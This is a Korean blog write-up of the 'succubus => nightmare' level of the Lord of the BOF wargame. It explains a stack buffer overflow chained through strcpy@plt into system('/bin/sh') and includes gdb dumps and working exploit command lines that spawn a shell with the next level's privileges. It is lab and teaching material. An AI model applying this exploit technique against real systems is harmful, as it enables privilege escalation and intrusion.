LOB succubus => nightmare

c0wb3ll ㅣ 2020. 4. 10. 04:32

LOB succubus => nightmare

문제

[succubus@localhost succubus]$ cat nightmare.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
    char buffer[40];
    char *addr;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // check address
    addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

    // dangerous waterfall
    memset(buffer+40+8, 'A', 4);
}

main 함수의 ret는 strcpy 함수여야 하고 RTL을 막기 위해 그 다음 4byte 를 AAAA로 초기화 시키는 소스코드이다.


풀이

  1. main()의 ret로 strcpy()를 호출한다.

  2. strcpy()는 인자로 목적지와, 옮길문자열의 원본 위치를 받는다.

  3. 목적지로 RTL에서 사용하는 ret 즉 strcpy()가 호출되고 난 뒤에 ret위치 ( 간단하게 AAAA로 뒤덮이는 위치 )를 주고 원본 위치는 buffer의 시작 부분을 입력하여 buffer시작 부분에 쉘코드 주소를 입력하여 호출할 수 있도록 하게 한다.

  4. 왠진 모르겠지만 쓴 사람(본인)은 쉘코드만 환경변수로 줘보기도 하고 nop도 끼워서 줘보기도 했는데 안풀려서 풀이 방법을 바꾸었다.

  5. buffer에 시작 위치에 system()함수를 호출하고 buffer-4부터 "/bin/sh"문자열을 환경변수에 올린 뒤 이 주소값을 주어 쉘을 딸 것이다.

[succubus@localhost tmp]$ /bin/bash2

전에는 안썻는데 그냥 이번 포스팅 때 쓰고 싶어서 ㅎㅎ;; \xff를 인식 못하는 오류가 있으니 /bin/bash2를 켜주자 항상

[succubus@localhost tmp]$ export bin="/bin/sh"
[succubus@localhost tmp]$ ./mightmare 
bin address is 0xbffffef2
[succubus@localhost tmp]$ 

환경변수 올리고 주소를 구해보자.

0x8048722 <main+110>:    call   0x8048410 <strcpy>

gdb로 main()을 까보면 strcpy()를 호출하는데 이 주소가 0x08048410인 것을 알 수 있다.

Starting program: /home/succubus/tmp/nightmare `python -c "print 'A'*4 + 'B'*4 + 'C'*4 + 'B'*32 + '\x10\x84\x04\x08' + 'D'*4+ 'E'*4 + 'F'*4"`
AAAABBBBCCCCBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB?DDDDEEEEFFFF

Breakpoint 1, 0x804874e in main ()
(gdb) x/50wx $ebp-44
0xbffffa6c:    0x08048410    0x41414141    0x42424242    0x43434343
0xbffffa7c:    0x42424242    0x42424242    0x42424242    0x42424242
0xbffffa8c:    0x42424242    0x42424242    0x42424242    0x42424242
0xbffffa9c:    0x08048410    0x41414141    0x45454545    0x46464646
0xbffffaac:    0x40013800    0x00000002    0x08048420    0x00000000
0xbffffabc:    0x08048441    0x080486b4    0x00000002    0xbffffae4
0xbffffacc:    0x08048350    0x0804877c    0x4000ae60    0xbffffadc
0xbffffadc:    0x40013e90    0x00000002    0xbffffbdd    0xbffffbfa
0xbffffaec:    0x00000000    0xbffffc37    0xbffffc59    0xbffffc63
0xbffffafc:    0xbffffc71    0xbffffc90    0xbffffca1    0xbffffcba
0xbffffb0c:    0xbffffcd8    0xbffffcf7    0xbffffd02    0xbffffd10
0xbffffb1c:    0xbffffd54    0xbffffd68    0xbffffd7d    0xbffffd8d
0xbffffb2c:    0xbffffd9b    0xbffffda7
(gdb) 

'A' : system()함수 주소가 올 위치

'B' : 버퍼를 채우기 위한 dummy

'C' : "/bin/sh" 주소 올 위치

0x08048410 : strcpy()@plt 호출

'D' : RTL에 이용할 ret ('AAAA' 로 뒤덮일 곳) ( 실제로 41414141로 뒤덮인 0xbffffaa0 )

'E' : strcpy()의 목적지 인자

'F' : strcpy()의 불러들이는 인자

이제 각 알파벳에 들어갈 주소를 구하도록 하자.

(gdb) p system 
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) 

system() 주소 0x40058ae0

아까 구했던 환경변수 주소 0xbffffef2

strcpy()의 목적지 인자 0xbffffaa0

strcpy()의 불러들이는 인자 0xbffffa70


익스코드

위 정보들을 토대로 익스코드를 짜보자.

[succubus@localhost tmp]$ ./nightmare `python -c "print '\xe0\x8a\x05\x40' + 'BBBB' + '\xf2\xfe\xff\xbf' + 'B'*32 + '\x10\x84\x04\x08' + 'D'*4 + '\xa0\xfa\xff\xbf' + '\x70\xfa\xff\xbf'"`
?@BBBB輯풟BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB?DDDD??퓈?
bash$ id    
uid=517(succubus) gid=517(succubus) groups=517(succubus)
bash$ 

오... 혼자 풀때는 코어파일만 몇십번 분석했는데 블로그 쓸 때 한번에 되서 기분이 조아졌다 ^^ 본 파일에서 해보자.

[succubus@localhost succubus]$ ./nightmare `python -c "print '\xe0\x8a\x05\x40' + 'BBBB' + '\xf2\xfe\xff\xbf' + 'B'*32 + '\x10\x84\x04\x08' + 'D'*4 + '\xa0\xfa\xff\xbf' + '\x70\xfa\xff\xbf'"`
?@BBBB輯풟BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB?DDDD??퓈?
Segmentation fault
[succubus@localhost succubus]$      

그럼 그렇지 스택 위치가 바뀐것 같다. 다시 복사파일로 이동하여 코어파일을 분석하자.

[succubus@localhost tmp]$ ./nightmare `python -c "print '\xe0\x8a\x05\x40' +'BBBB'+'\xd0\xfe\xff\xbf'+'B'*32+'\x10\x84\x04\x08' + 'DDDD' +'\x90\xfa\xff\xbf' + '\x60\xfa\xff\xbf'"`
bash$ id
uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)

우욱... 삽질 진짜...